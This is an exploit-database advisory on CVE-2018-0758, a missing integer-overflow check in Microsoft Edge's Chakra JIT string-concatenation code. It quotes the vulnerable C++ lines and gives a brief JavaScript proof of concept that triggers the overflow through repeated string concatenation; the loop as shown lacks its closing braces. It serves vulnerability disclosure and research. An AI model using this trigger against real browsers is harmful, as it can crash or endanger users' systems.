Microsoft Edge Chakra JIT - 'Lowerer::LowerSetConcatStrMultiItem' Missing Integer Overflow Check

EDB-ID: 43491
Author: Google Security Research
Published: 2018-01-10
CVE: CVE-2018-0758
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings. 
Here's a snippet of the method.
void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr)
IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func);
InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a)

At (a), there's no check for integer overflow.

Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug.


let a = '';
let b = 'A'.repeat(0x10000);
for (let i = 0; i < 0x10000; i++) {
a = 'BBBBBBBBB' + a + b;


Related Posts